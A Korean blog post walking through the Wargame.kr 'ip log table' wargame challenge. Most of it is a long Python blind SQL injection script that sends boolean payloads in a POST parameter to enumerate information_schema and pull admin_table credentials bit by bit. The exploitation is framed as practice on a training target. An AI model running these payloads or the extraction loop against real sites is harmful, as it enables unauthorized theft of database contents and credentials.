Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 ip log table 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

 

이번에는 Blind SQLi를 이용해야 하는 문제인만큼 간단하지만은 않은 문제입니다.

참과 거짓이 반환되는 영역을 찾아야 하기 때문에 시간도 오래걸리고...(제가 작성한 코드는 시간이 오래 걸리더군요..)

 

문제 풀이를 진행해보겠습니다.

 

 
   문제 이해

 

문제는 다음과 같습니다.

 

문제에서 Blind SQLi를 이용하라고 하고 Ascii 값을 Date로 만들 수 있다고 합니다.

흠.. 일단 Blind SQL Injection을 위한 벡터를 찾기 위해 참과 거짓으로 구분되어 반환되는 영역을 찾아보도록 합시다.

 

문제로 들어가면 다음과 같은 표가 나타나게 됩니다.

login을 할 수 있는 부분과 클릭할 수 있는 표들이 보입니다.

로그인을 수행하는 부분은 참일 때 로그인 되고, 아닐 때는 로그인이 안 되는 것이지요.

이 부분은 참과 거짓이라기 보다는 참일 때와 거짓일 때가 구분이 아예 안 되는 부분입니다.(비번이 맞아야 참이니까... Bruteforcing 입니다.)

 

그렇다면 다른 부분을 찾아봐야 하는데...

표의 행을 클릭하면 다음과 같은 화면이 나타납니다.

여기서 POST로 전송하는 idx 값을 임의로 거짓이 되도록 조작해보니 다음과 같은 결과가 나타납니다.

 

이 부분에서 알 수 있었던 건 참일 때 1970-01-01이라는 날짜가 아니라는 것!

 

- 참일 때 1970-01-01이 아님

- 거짓일 때 1970-01-01임

 

이 부분을 이용하여 문제를 풀어보도록 하겠습니다.

 

 

   문제 풀이

 

문제를 풀기 위해서는 코드를 작성해야 하는데...

코드 이해는 LOS 때 자주 해보았기 때문에 여기서는 코드 작성만 해보겠습니다.

 

순서는 SCHEMA 알아내기, TABLE 알아내기, COLUMN 알아내기 값 알아내기 입니다.

 

아래의 코드는 쭉 돌리면 나오기는 하지만, 편의를 위해 미리 count 수를 조작해두었습니다.

 

또한 이번 문제에서는 WHERE, LIKE가 필터링 되어 있어, 이렇게 무식한 Blind SQLi를 진행해야 했습니다...ㅠㅠ

'''
# GET SCHEMA Counts and Schema Name 
# ip_log_table, information_schema

# 유실된 소스.... ㅠㅠ


            if bit is 0:
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        #print('Find TABLE_NAME[{}][{}]  [=] :  {}    {}'.format(schema_count-k, j, chr(int(bit,2)), bit))
        tmp_schema_name += chr(int(bit,2))

    print("GET SCHEMA_NAME[{}]       [=] : {}".format(schema_count-k, tmp_schema_name))
    schema_name.append(tmp_schema_name)
'''


repeat_count        = 2

table_count         = 2
table_name_length   = []
table_name          = []

column_count        = 700
column_name_length  = []
column_name         = []

value_count         = 0
value_name_length   = []
value_name          = []

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COUNT OF TABLEs =-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COUNT OF TABLEs
Done = False

while not Done:
    payload = "1 or (select count(table_name)=" + str(table_count) + " from information_schema.tables)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', table_count)
        table_count += 1
        pass
    else:
        print("Find Count of TABLE     [=] : ", table_count)
        Done = True    


table_count -= 1

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LEGNTH OF TABLE NAME -=-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF TABLE NAME

#for j in range(1, table_count+1):
for j in range(1, repeat_count+1): # 너무 많을 수 있으니...
    for i in range(1, 100):
        payload = "1 or (select length(table_name)={} from information_schema.tables limit {},1)".format(i, table_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of TABLE_NAME[{}] : {}".format(table_count-j, i))
            table_name_length.append(i)
            break


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LEGNTH TABLE NAMEs -=-=-=-=-=-=-=-=-")
# =================================================================
# GET TABLE NAMEs
bitLen     = 8


#for k in range(table_count):
for k in range(repeat_count): # 너무 많을 수 있으니...

    tmp_table_name = ""

    # table name length 
    for j in range(1, table_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
            payload = "1 or (select (substr(lpad(bin(ord(substr(table_name,{},1))),{},0),{},1)=1) from information_schema.tables limit {},1)".format(j, bitLen, i, table_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        #print('Find TABLE_NAME[{}][{}]  [=] :  {}    {}'.format(table_count-k, j, chr(int(bit,2)), bit))
        tmp_table_name += chr(int(bit,2))

    print("GET TABLE_NAME[{}]       [=] : {}".format(table_count-k, tmp_table_name))
    table_name.append(tmp_table_name)


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COLUMN COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COLUMN COUNTs
Done = False

while not Done:
    payload = "1 or (select count(column_name)="+str(column_count)+" from information_schema.columns)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)    

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', column_count)
        column_count += 1
        pass
    else:
        print("Find Count of COLUMN    [=] : ", column_count)
        Done = True

column_count -= 1


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF COLUMN NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF COLUMN NAME

for j in range(repeat_count+5):
    for i in range(1, 100):
        payload = "1 or (select length(column_name)={} from information_schema.columns limit {},1)".format(i, column_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of COLUMN_NAME[{}] : {}".format(column_count-j, i))
            column_name_length.append(i)
            break

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COLUMN NAMEs -=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COLUMN NAMEs
bitLen     = 8


for k in range(repeat_count+5):

    tmp_column_name = ""

    # column name length 
    for j in range(1, column_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
            payload = "1 or (select (substr(lpad(bin(ord(substr(column_name,{},1))),{},0),{},1)=1) from information_schema.columns limit {},1)".format(j, bitLen, i, column_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        tmp_column_name += chr(int(bit,2))

    print("GET COLUMN_NAME[{}]      [=] : {}".format(column_count-k, tmp_column_name))
    column_name.append(tmp_column_name)


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("SELECT COLUMN NAME -=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# SELECT COLUMN NAME

for i, cn in enumerate(column_name):
    print('COLUMN_NAME [{}] : {}'.format(i, cn))

selected_column = int(input("Select COLUMN NAME(num) : "))


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUES COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUES COUNTs

Done = False

while not Done:
    payload = "1 or (select count(*)="+str(value_count)+" from admin_table)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)    

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', value_count)
        value_count += 1
        pass
    else:
        print("Find Count of VALUEs    [=] : ", value_count)
        Done = True

value_count -= 1

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF VALUEs NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF VALUEs NAME

for j in range(value_count+1):
    for i in range(1, 100):
        payload = "1 or (select length({})={} from admin_table limit {},1)".format(column_name[selected_column], i, value_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of VALUEs_NAME[{}] : {}".format(value_count-j, i))
            value_name_length.append(i)
            break


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUEs =-=-=--=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUEs
bitLen     = 8

for k in range(value_count+1):

    tmp_value_name = ""

    # column name length 
    for j in range(1, value_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
            payload = "1 or (select (substr(lpad(bin(ord(substr({},{},1))),{},0),{},1)=1) from admin_table limit {},1)".format(column_name[selected_column], j, bitLen, i, value_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        tmp_value_name += chr(int(bit,2))
        print('GET VALUE         [=] : {}     {}'.format(tmp_value_name, bit))

    print("GET VALUE[{}]         [=] : {}".format(value_count-k, tmp_value_name))
    value_name.append(tmp_value_name)

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("SELECT COLUMN NAME -=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# SELECT COLUMN NAME

for i, cn in enumerate(column_name):
    print('COLUMN_NAME [{}] : {}'.format(i, cn))
    
selected_column = int(input("Select COLUMN NAME( 0 ~ ? ) : "))


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUES COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUES COUNTs

Done = False

while not Done:
    payload = "1 or (select count(*)="+str(value_count)+" from admin_table)"
    data    = {'idx' : payload}
    res     = requests.post(url=URL, headers=headers, verify=False, data=data)    

    if '1970-01-01' in res.text:
        print('Keep Searching......... [=] : ', value_count)
        value_count += 1
        pass
    else:
        print("Find Count of VALUEs    [=] : ", value_count)
        Done = True

value_count -= 1

print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF VALUEs NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF VALUEs NAME

for j in range(value_count+1):
    for i in range(1, 100):
        payload = "1 or (select length({})={} from admin_table limit {},1)".format(column_name[selected_column], i, value_count-j)
        data    = {'idx' : payload}
        res     = requests.post(url=URL, headers=headers, verify=False, data=data)

        if '1970-01-01' in res.text:
            pass
        else:
            print("Find Length of VALUEs_NAME[{}] : {}".format(value_count-j, i))
            value_name_length.append(i)
            break


print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUEs =-=-=--=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUEs
bitLen     = 8

for k in range(value_count+1):

    tmp_value_name = ""

    # column name length 
    for j in range(1, value_name_length[k]+1):

        bit = ''

        # bit length
        for i in range(1, bitLen+1):
            payload = "1 or (select (substr(lpad(bin(ord(substr({},{},1))),{},0),{},1)=1) from admin_table limit {},1)".format(column_name[selected_column], j, bitLen, i, value_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        tmp_value_name += chr(int(bit,2))
        print('GET VALUE         [=] : {}     {}'.format(tmp_value_name, bit))

    print("GET VALUE[{}]     [=] : {}".format(value_count-k, tmp_value_name))
    value_name.append(tmp_value_name)

 

소스가 매우 길다...

 

쓰다보니 이렇게 됐당...

 

위의 소스를 쭉 돌리다 보면 다음과 같은 형태로 나오게 될 것입니다.

보고자 하는 컬럼을 정해줘야 하니 Select COLUMN NAME(num)을 볼 때 COLUMN NAME 배열 순서를 선택해주시면 됩니다.

 

 

위의 계정대로 로그인하게 되면 다음과 같이 나타나게 됩니다.

 

 

 

+ Recent posts